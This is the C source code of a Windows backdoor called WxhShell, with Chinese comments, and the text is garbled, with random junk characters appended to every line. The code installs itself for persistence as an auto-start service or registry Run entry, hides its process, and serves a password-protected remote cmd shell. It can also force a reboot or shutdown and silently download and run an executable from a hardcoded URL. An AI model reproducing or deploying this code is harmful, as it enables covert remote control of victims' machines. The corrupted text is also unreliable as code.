    } eW"x%|/Q7  
  // 关机 <S8I"8{Mb  
  case 'd': { *M5$ h*;v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2>MP:yY;K  
    if(Boot(SHUTDOWN)) ;sL6#Go?V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }U?gKlLg  
    else { p21=$?k!;  
    closesocket(wsh); krr-ZiK  
    ExitThread(0); mU?&\w=v$  
    } 3\p]esse  
    break; p~, 3A:i  
    }  zfjDb  
  // 获取shell vN0L( B  
  case 's': { a(x.{}uG,  
    CmdShell(wsh); }uvKE|umj  
    closesocket(wsh); U| 41u4)D  
    ExitThread(0); 0K$WSGB?6j  
    break; UYcyk $da  
  } 2yJ7]+Jd7Y  
  // 退出 KtfkE\KP  
  case 'x': { q-3J.VLJ5H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G {pP}  
    CloseIt(wsh); kol,Qs  
    break; 'TK$ndy;7}  
    } KM_)7?`  
  // 离开 []=FZ`4  
  case 'q': { 0i`v:Lq%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y uw E 0  
    closesocket(wsh); 2pxWv )0  
    WSACleanup(); AF*ni~  
    exit(1); ]xJ'oBhy  
    break; 1F3QI|  
        } M5T=Fj86  
  } :\1rQT  
  } Lem\UD$D`  
(:&&;]sI  
  // 提示信息 9LqMQv"xW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ypn%[sSOp  
} 8g# c%eZ  
  } c6?c>*z  
F;d%@E_Bc  
  return; .`p<hA)%[C  
} CzzUi]*Ac{  
w| -0@  
// shell模块句柄 lnS\5J  
int CmdShell(SOCKET sock) Eo7 _v  
{ ,`%k'ecN  
STARTUPINFO si; q19k<BqR  
ZeroMemory(&si,sizeof(si)); `r~`N`o5A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _:ZFCDO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E !Oz|q  
PROCESS_INFORMATION ProcessInfo; Z9J =vzsHE  
char cmdline[]="cmd"; ~zE 1'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *c~'0|r  
  return 0; KD,^*FkkL  
} AMh37Xo  
G_2gKkIK-  
// 自身启动模式 DGa#d_I  
int StartFromService(void) ~J:$gu~`  
{ {dy` %It  
typedef struct -A~;MGY  
{ Z%Tq1O  
  DWORD ExitStatus; a!c/5)v(  
  DWORD PebBaseAddress; eEWro F  
  DWORD AffinityMask; r%g <h T 8  
  DWORD BasePriority; E(aX4^]g  
  ULONG UniqueProcessId; ";-{ ~  
  ULONG InheritedFromUniqueProcessId; */%$6s~  
}   PROCESS_BASIC_INFORMATION; ~4MtDf  
g( ]b\rj  
PROCNTQSIP NtQueryInformationProcess; @7Q*h   
I<D&,LFH*w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e/]O<,*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c{'$=lR "  
ys&"r":I  
  HANDLE             hProcess; g^s+C Z  
  PROCESS_BASIC_INFORMATION pbi; wq:b j=j  
M(;y~ |e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %gV)arwK  
  if(NULL == hInst ) return 0; q;~R:}?@  
bGGeg%7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4B:\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &57qjA ,8<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sow bg<D  
`!UaScM  
  if (!NtQueryInformationProcess) return 0; tIi!* u  
U7nsMD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BpQ;w,sefq  
  if(!hProcess) return 0; pX>ua5Z  
7%:??*"~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qq`3S>  
NDB*BmG  
  CloseHandle(hProcess); S KB@  
K?h[.`}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (,- 5(fW  
if(hProcess==NULL) return 0; g2[K<  
L0X&03e=e:  
HMODULE hMod; ]uBT &  
char procName[255]; !pd7@FwC  
unsigned long cbNeeded; x><zGXvvp|  
bajC-5R1k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6obQ9L c  
w;N{>)hv  
  CloseHandle(hProcess); /`7 IK  
E0sbU<11  
if(strstr(procName,"services")) return 1; // 以服务启动 "_ nX5J9  
+G5'kYzJ  
  return 0; // 注册表启动 4ggVj*{v  
} ]h #WkcXQ  
GIl:3iB49  
// 主模块 |RHO+J  
int StartWxhshell(LPSTR lpCmdLine) H/cs_i  
{ EsT0"{  
  SOCKET wsl; QDIsC  
BOOL val=TRUE; xT{TVHdU  
  int port=0; y,'FTP9?  
  struct sockaddr_in door; <h'8w  
#Y;.>mF  
  if(wscfg.ws_autoins) Install(); %3]3r*e&5  
Sp<hai  
port=atoi(lpCmdLine); !&@2  
1P5*wNF  
if(port<=0) port=wscfg.ws_port; ~GNyE*t/Y  
GYFgEg}  
  WSADATA data; k TFz_*6.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .[edln  
pO\ S#GnX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o&CghF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b cC\  
  door.sin_family = AF_INET; Ro$j1Aw(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |C~Sr#6)7  
  door.sin_port = htons(port); l)}<#Ri  
/DLr(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4qqF v?O[r  
closesocket(wsl); x2sN\tOh^  
return 1; V^j3y`K  
} 2;&mkc K'  
?2H{^\<(e  
  if(listen(wsl,2) == INVALID_SOCKET) { 613/K`o  
closesocket(wsl); =ft9T&ciD  
return 1; \V._Z>]  
} 91BY]N  
  Wxhshell(wsl); `ff j8U  
  WSACleanup(); l>A\ V)  
5k K= S  
return 0; j1'\R+4U  
CoKiQUW  
} Us1@\|]  
!.9l4@z#  
// 以NT服务方式启动 kJ/+IGV^v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A$/KP\0Y2  
{ ]a8eDy  
DWORD   status = 0; g* %bzfk=|  
  DWORD   specificError = 0xfffffff; *hV4[=  
1oB$MQoc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |p;4dL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bAUHUPe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZQ@3P7T  
  serviceStatus.dwWin32ExitCode     = 0; #g,H("Qy({  
  serviceStatus.dwServiceSpecificExitCode = 0; bSQ_"  
  serviceStatus.dwCheckPoint       = 0; X)I/%{  
  serviceStatus.dwWaitHint       = 0; 3QH(4N  
_\p`4-.V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /#29Y^Z)=  
  if (hServiceStatusHandle==0) return; @v"T~6M  
H1Q''$}Z.  
status = GetLastError(); Mk<m6E$L  
  if (status!=NO_ERROR) IT,"8 s  
{ QDP-E[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cS4xe(n8  
    serviceStatus.dwCheckPoint       = 0;  1U  
    serviceStatus.dwWaitHint       = 0; S<*';{5~  
    serviceStatus.dwWin32ExitCode     = status; '=$TyiU  
    serviceStatus.dwServiceSpecificExitCode = specificError; MdLj,1_T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Hs=z$  
    return; cnbo +U  
  } HTw#U2A;+  
=+`D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E`~i-kf  
  serviceStatus.dwCheckPoint       = 0; ma3Qi/  
  serviceStatus.dwWaitHint       = 0; O!o <P5X^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :#qUMiu$  
} r|M'TA~:  
ohtT O]\  
// 处理NT服务事件,比如:启动、停止 ^<!Ia  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #&k8TY  
{ gEE9/\>%-  
switch(fdwControl) ,dOMW+{  
{ u]R$]&<  
case SERVICE_CONTROL_STOP: T{ok +$w2  
  serviceStatus.dwWin32ExitCode = 0; av$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t`uc3ta"9  
  serviceStatus.dwCheckPoint   = 0; wtq,`'B  
  serviceStatus.dwWaitHint     = 0; }lH;[+u3  
  { R3cg2H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +9TV:T  
  } CDJ$hu  
  return; Il|GCj*N  
case SERVICE_CONTROL_PAUSE: ^[0" vtb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (Bsw/wv  
  break; STw oYn  
case SERVICE_CONTROL_CONTINUE: bea|?lK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t~q?lT  
  break; )TM!ms+K  
case SERVICE_CONTROL_INTERROGATE: %U-Qsy8|D)  
  break; I`3d;l;d  
}; kw3 +>{\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aJa.U^1{  
} !f@XDW&R  
Trpgx  
// 标准应用程序主函数 WBa /IM   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xwi!:PAf,o  
{ R<>tDwsZGa  
z[*zuo  
// 获取操作系统版本 vpi l$Uq  
OsIsNt=GetOsVer(); & wOE\TCL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8'+7i8e  
Xt\Dy   
  // 从命令行安装 TKd6MZhT  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gj)uy jct  
* ]>])ms)  
  // 下载执行文件 9+t =|  
if(wscfg.ws_downexe) { ,^HS`!s[ E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (N7O+3+G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2HSb.&7-G  
} #.o0mguU  
Q]^Yi1PbS  
if(!OsIsNt) { <;aJ#qT  
// 如果时win9x,隐藏进程并且设置为注册表启动 !KAsvF,j  
HideProc(); 9]Lo  
StartWxhshell(lpCmdLine); `wf|uM  
} w?*j dwh,'  
else QsM*wT&aa  
  if(StartFromService()) eJW[ ]!  
  // 以服务方式启动 3hLqAj  
  StartServiceCtrlDispatcher(DispatchTable); L*9H#%3  
else j6H R&vIM  
  // 普通方式启动 8sH50jeP  
  StartWxhshell(lpCmdLine); !8o\.uyi  
W\%q} q2?  
return 0; ",T` \8&@e  
} %Sul4: D#  
-( (Z@T1k  
jx'2N~$  
FZH-q!"^cK  
=========================================== _!%M%  
@R UP$  
cFDxjX?~  
`2,a(Sk#  
lJUy;yp_+  
viJJ e'\2  
" h07eE g  
(uRZxX  
#include <stdio.h> :pb67Al29  
#include <string.h> i+1Qf  
#include <windows.h> ld95[cTP  
#include <winsock2.h> 1 #q^uqO0  
#include <winsvc.h> zA,/@/'(  
#include <urlmon.h> s%^o*LQ|9  
(![t_r0  
#pragma comment (lib, "Ws2_32.lib") Ox|TMSb^  
#pragma comment (lib, "urlmon.lib") _0.pvQ  
>(OYK}ZN  
#define MAX_USER   100 // 最大客户端连接数 HS7_MGU  
#define BUF_SOCK   200 // sock buffer Co[n--@C  
#define KEY_BUFF   255 // 输入 buffer Tt%}4{"  
Nq_A8Ph9  
#define REBOOT     0   // 重启 VVFV8T4  
#define SHUTDOWN   1   // 关机 jWSb5#Pw  
|Q5+l.%  
#define DEF_PORT   5000 // 监听端口 K\aAM;)-  
JN|VPvjE   
#define REG_LEN     16   // 注册表键长度 M7vj^mt?  
#define SVC_LEN     80   // NT服务名长度 NocFvF7\  
<ZVZ$ZW~D  
// 从dll定义API Mc:b U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3p&jLFphL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ||XIWKF<n2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nEyI t&> 9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SY|Ez!tU:N  
uOre,AQR  
// wxhshell配置信息 ik IzhUWE  
struct WSCFG { kZv*rWAm  
  int ws_port;         // 监听端口 9ad6uTc  
  char ws_passstr[REG_LEN]; // 口令 C.( yd$,  
  int ws_autoins;       // 安装标记, 1=yes 0=no f1J %]g!  
  char ws_regname[REG_LEN]; // 注册表键名 'bPk'pj9  
  char ws_svcname[REG_LEN]; // 服务名 D^|7#b,zcH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G5;V.#"Z[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S/fW/W*/}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CL1 oAk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [%?y( q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2uL9.q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >(3'Tnu  
_ eiF@G  
}; 8%-%AWF]  
Hd374U<8]T  
// default Wxhshell configuration BGzO!s*@j  
struct WSCFG wscfg={DEF_PORT, tt{`\1q  
    "xuhuanlingzhe", ,Bf(r  
    1, Ka.Nr@Rq*~  
    "Wxhshell", -X8eabb  
    "Wxhshell", EHhd;,;O  
            "WxhShell Service", sUbF Rq  
    "Wrsky Windows CmdShell Service", # 66e@  
    "Please Input Your Password: ", >XnO&hW  
  1, Um\0i;7 ~4  
  "http://www.wrsky.com/wxhshell.exe", 8U=A{{0p  
  "Wxhshell.exe" o:9$UV[  
    }; B2(,~^39  
b2s~%}T  
// 消息定义模块 s7"i.A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z/7dg-$?'0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]u0Jd#@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a_{6Qdl  
char *msg_ws_ext="\n\rExit."; 1eD.:_t4  
char *msg_ws_end="\n\rQuit."; :<%vE!$  
char *msg_ws_boot="\n\rReboot..."; @)b^^Fp  
char *msg_ws_poff="\n\rShutdown..."; .8(%4ejJ(  
char *msg_ws_down="\n\rSave to "; Uouq>N  
8gI\zgS  
char *msg_ws_err="\n\rErr!"; 5(#-)rlGj  
char *msg_ws_ok="\n\rOK!"; VMF|iB  
t%$@fjz  
char ExeFile[MAX_PATH]; o\goE^,aeR  
int nUser = 0; 8(Fu  
HANDLE handles[MAX_USER]; f'_M0x  
int OsIsNt; \iga Q\~  
oCuV9dA.  
SERVICE_STATUS       serviceStatus; Hm4bN\%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2yxi= XWZ  
VDpxk$a  
// 函数声明 v ): V  
int Install(void); RHI&j~  
int Uninstall(void); 3\+N`!  
int DownloadFile(char *sURL, SOCKET wsh); N,|r1u9X#  
int Boot(int flag); A?,A( -0C  
void HideProc(void); $:;%bjSI  
int GetOsVer(void); l[*sHi  
int Wxhshell(SOCKET wsl); F. T@)7  
void TalkWithClient(void *cs); 'Sa!5h  
int CmdShell(SOCKET sock); x5F@ad 9  
int StartFromService(void); Vhph`[dC{  
int StartWxhshell(LPSTR lpCmdLine); D:m#d.m  
4U{m7[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +*.1}r&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0Cq!\nzz  
75AslL?t  
// 数据结构和表定义 61|B]ei/  
SERVICE_TABLE_ENTRY DispatchTable[] = mf2Mx=oy  
{ p:tN642  
{wscfg.ws_svcname, NTServiceMain}, km4g}~N</  
{NULL, NULL} kFwxK"n@C  
}; 9|3o<  
Z Xb}R^O-  
// 自我安装 Y|RdzC M  
int Install(void) hVf^  
{ ERC<Dd0  
  char svExeFile[MAX_PATH]; lwJipIO  
  HKEY key; 8K^f:)Qw  
  strcpy(svExeFile,ExeFile); |_nC6 ;  
+nQ!4  
// 如果是win9x系统,修改注册表设为自启动 <T4(H[9B  
if(!OsIsNt) { a.,i.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G=cNzr9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OoM_q/oI  
  RegCloseKey(key); <\ETPL,<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t:T?7-XIE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nb1J ~v  
  RegCloseKey(key); = UUd8,C/  
  return 0; 4By]vd<;=  
    } @woC8X  
  } h>W@U9  
} >BJ}U_ck  
else { Nf5WQTa4  
GoD ?KC  
// 如果是NT以上系统,安装为系统服务 4E'|.tt(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k>>`fE\K  
if (schSCManager!=0) \ 3G*j`  
{ X:{WZs"[x  
  SC_HANDLE schService = CreateService ev"M;"y  
  ( r=$gT@  
  schSCManager, WIG=D{\Yx  
  wscfg.ws_svcname, Tq#<Po $  
  wscfg.ws_svcdisp, -l JYr/MSL  
  SERVICE_ALL_ACCESS, xFwXW )  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 27iy4(4  
  SERVICE_AUTO_START, _+n;A46  
  SERVICE_ERROR_NORMAL, c'rd$  
  svExeFile, kwF]TO S  
  NULL, [>p6   
  NULL, 4>_d3_1sn  
  NULL, Qi:j)uDW  
  NULL, ~p^7X2% !  
  NULL Q c3?}os2  
  ); u-39r^`5  
  if (schService!=0) 3agNBF2  
  { : I)Gv  
  CloseServiceHandle(schService); !.X _/$c  
  CloseServiceHandle(schSCManager); {82rne `[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UE;Bb*<   
  strcat(svExeFile,wscfg.ws_svcname); w+Vk3c5uI)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EzpwGNfz}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !qaDn.9  
  RegCloseKey(key); n1?}Xq|  
  return 0; }P. K2ku  
    } ph#efY`a:  
  } pyF5S,c  
  CloseServiceHandle(schSCManager); XN(tcdCG  
} >2Ca5C  
} s|gp  
gIBpOPr^d  
return 1; kO+s+ 55  
} %YCd%lAe,  
VF= Z`  
// 自我卸载 CO'ar,  
int Uninstall(void) ^K.*.|  
{ gn`zy9PU  
  HKEY key; ls]H6z*q  
C$K+=jT  
if(!OsIsNt) { G * @@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B-dlm8gX  
  RegDeleteValue(key,wscfg.ws_regname); ?[|hGR2L  
  RegCloseKey(key); `#U ]iwW!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }! =U^A)  
  RegDeleteValue(key,wscfg.ws_regname); avBua6i'  
  RegCloseKey(key); C#$6O8O  
  return 0; P\T|[%E'  
  } 5& *zY)UL  
} +;6)  
} <tW:LU(!  
else { t9Vb~ Ubdb  
K%PxA #P}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jE*Ff&]%m  
if (schSCManager!=0) ]9@X? q  
{ EZ{/]gCK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z8fJ{uOIL  
  if (schService!=0) OM{Dq|  
  { z^3Q.4Qc6^  
  if(DeleteService(schService)!=0) { Wvb Eh|y  
  CloseServiceHandle(schService); ]hKgA~;  
  CloseServiceHandle(schSCManager); 6e/7'TYwT  
  return 0; 8sWr\&!  
  } yl]UUBcQ  
  CloseServiceHandle(schService); 4(8<w cL  
  } FW5}oD( H  
  CloseServiceHandle(schSCManager); /W0E(8:C)  
} =%L@WVbM  
} 9#fp_G;=  
[,GU5,o  
return 1; ?$16 A+  
} `[bJYZBc2  
(Z 8,e  
// 从指定url下载文件 lvx]jd\  
int DownloadFile(char *sURL, SOCKET wsh) /4-}k  
{ \kyM}5G(<0  
  HRESULT hr; Vpw[B.v  
char seps[]= "/"; 5Edo%Hd6  
char *token; -)6;0  
char *file; zU b8NOi  
char myURL[MAX_PATH]; hMWo\qM  
char myFILE[MAX_PATH]; ?DRR+n _  
7dHIW!OA  
strcpy(myURL,sURL); ,m:6qdN  
  token=strtok(myURL,seps); . v\PilF  
  while(token!=NULL) jOv~!7T  
  { H@4/#V|Uy  
    file=token; [n!x&f8Xh  
  token=strtok(NULL,seps); E#a ZvE  
  } =R2l3-HA=  
DU`v J2  
GetCurrentDirectory(MAX_PATH,myFILE); 'QnW9EHLF  
strcat(myFILE, "\\"); *73AAA5LKa  
strcat(myFILE, file); BtID;^D z  
  send(wsh,myFILE,strlen(myFILE),0); M2L0c?  
send(wsh,"...",3,0); +nzTxpcP@K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y.X4*B  
  if(hr==S_OK) DiR'p`b~  
return 0; <uC<GDO  
else E$R_rX4x  
return 1; pkW5D  
=oPng= :  
} {Y^c*Iqn  
ozuIwzi7N  
// 系统电源模块 s|E%~j[9  
int Boot(int flag) E^82==R  
{ "\<P$&`HA  
  HANDLE hToken; 58PKx5`D  
  TOKEN_PRIVILEGES tkp; _)q4I(s*  
HGb.656r  
  if(OsIsNt) { V>r j$Nc]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5)8 .  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0NrTJ R`  
    tkp.PrivilegeCount = 1; &<@%{h@=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k0knPDbHv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (qbc;gBy  
if(flag==REBOOT) { UC(9Dz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $^ubo5%  
  return 0; %^T!@uZr  
} rX:1_q`xA  
else { "d2LyQy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L*v93;|s  
  return 0; 9[Y*k^.!  
} O[L\T  
  } K]9tc)  
  else { rCkYfTYI  
if(flag==REBOOT) { }.OxJ=M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h>.9RX &  
  return 0; o:4CI  
} Z+Xc1W^  
else { OK.-]()!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }d@LSaM  
  return 0; T6;>O`B.r  
} P$Ax c/H  
} FJW`$5?  
\k4M{h6  
return 1; tfsh!)u?  
} &`m~o/  
%Dl_}  
// win9x进程隐藏模块 ea>[BB3#  
void HideProc(void) wD}EW  
{ _m" ^lo  
<jg8y'm@0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z}D#WWSxf  
  if ( hKernel != NULL ) @|Z*f\  
  { yTP[,bM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D)h["z|F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8dlInms  
    FreeLibrary(hKernel); aK!xRnY  
  } >d'EInSF  
qq/_yt  
return; jzQ9zy_  
} xTGP  
cK/PQsMP  
// 获取操作系统版本 G;Us-IRZ  
int GetOsVer(void) HuK Aj  
{ O.dux5lfBd  
  OSVERSIONINFO winfo; |b,zw^!e['  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dxz5NW4  
  GetVersionEx(&winfo); Gi;9 S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e K\|SQb  
  return 1; py}.00it  
  else 0@:Y>qVa  
  return 0; O~nBz):2  
} v]l&dgoT  
t]gq+ c Lo  
// 客户端句柄模块 G[y&`Qc)G  
int Wxhshell(SOCKET wsl) ]<Z&=0i#9  
{ -aC!0O y`  
  SOCKET wsh; t7sUtmq  
  struct sockaddr_in client; ~>.awu+o|  
  DWORD myID; neK*jdaP  
5c*p2:]  
  while(nUser<MAX_USER) r*c82}tc  
{ )`e^F9L  
  int nSize=sizeof(client); -,[~~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3zk:59  
  if(wsh==INVALID_SOCKET) return 1; ?&{S~[;l  
[8xeQKp4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c9 gz!NE  
if(handles[nUser]==0) W<Bxm|  
  closesocket(wsh); 0c%@e2(N  
else lR|$*:+  
  nUser++; 6JUav."`~  
  } 3we.*\2$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jq7vOr-_g  
z<FV1niE  
  return 0; ^)(G(=-Rf  
} u Eu6f  
.ruqRGe/  
// 关闭 socket cC7"J\+r*  
void CloseIt(SOCKET wsh) #rqyy0k0'h  
{ "cIGNTLFA  
closesocket(wsh); mjWp8i  
nUser--; g%@]z8L  
ExitThread(0); [_B+DD=}  
} 8L%%eM_O  
2nG{>,#C:O  
// 客户端请求句柄 Sn_z  
void TalkWithClient(void *cs) i=,B88ko  
{ ~ra#UG\Y8  
6RR4L^(m  
  SOCKET wsh=(SOCKET)cs; 4`?sE*P@`  
  char pwd[SVC_LEN]; 0+$hkd n  
  char cmd[KEY_BUFF]; ~e,f)?  
char chr[1]; >DSNKU+j  
int i,j; ~gSF@tz@  
MYur3lj%_  
  while (nUser < MAX_USER) { FKDamHL<  
buMiJzU  
if(wscfg.ws_passstr) { b'1/cY/!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yffU% )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xCDA1y;j  
  //ZeroMemory(pwd,KEY_BUFF); Fh*q]1F  
      i=0; XHwZ+=v  
  while(i<SVC_LEN) { ]1YYrgi7  
gOBj0P8s|}  
  // 设置超时 ;m2"cL>{l  
  fd_set FdRead; zsR  wF  
  struct timeval TimeOut; hX{g]KE>  
  FD_ZERO(&FdRead); +?4*,8Tmmz  
  FD_SET(wsh,&FdRead); 9Bbm7Gd  
  TimeOut.tv_sec=8; +MOe{:/6  
  TimeOut.tv_usec=0; CuV=C Ay>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4\ uZKv@,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <lg"M;&Ht  
luP'JUq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )]0[`iLe  
  pwd=chr[0]; ]4LT#  
  if(chr[0]==0xd || chr[0]==0xa) { Vz=j )[  
  pwd=0; \N'hbT=  
  break; R{2GQB  
  } "-~D! {rS  
  i++; s>9z+;~!  
    } %l9WZ*yZ`2  
X r  
  // 如果是非法用户,关闭 socket Z L6~Eut  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5JXzfc9rL  
} u"Hd55"&  
/ y":/" h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :$X4#k<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A{{q'zb!  
q\z=z$VR  
while(1) { v4Fnh`{  
Gdc ~Lh  
  ZeroMemory(cmd,KEY_BUFF); @xW"rX#7f  
&cn%4Er  
      // 自动支持客户端 telnet标准   iuH8g  
  j=0; qxg7cj2  
  while(j<KEY_BUFF) { 7~%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uy_}@50"l  
  cmd[j]=chr[0]; LB64W ;#h  
  if(chr[0]==0xa || chr[0]==0xd) { W?4&lC^G  
  cmd[j]=0; V5(tf'  
  break; 5~kW-x  
  } cx1WGbZ  
  j++; D x >1y  
    } sJjl)Qs)T  
ECE{xoc  
  // 下载文件 mPw56>  
  if(strstr(cmd,"http://")) { 6qHvq A,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "0!eb3n  
  if(DownloadFile(cmd,wsh)) |({UV-`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4%#V^??E  
  else 9$4/frd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qMW%$L\HA  
  } (x@i,Ba@  
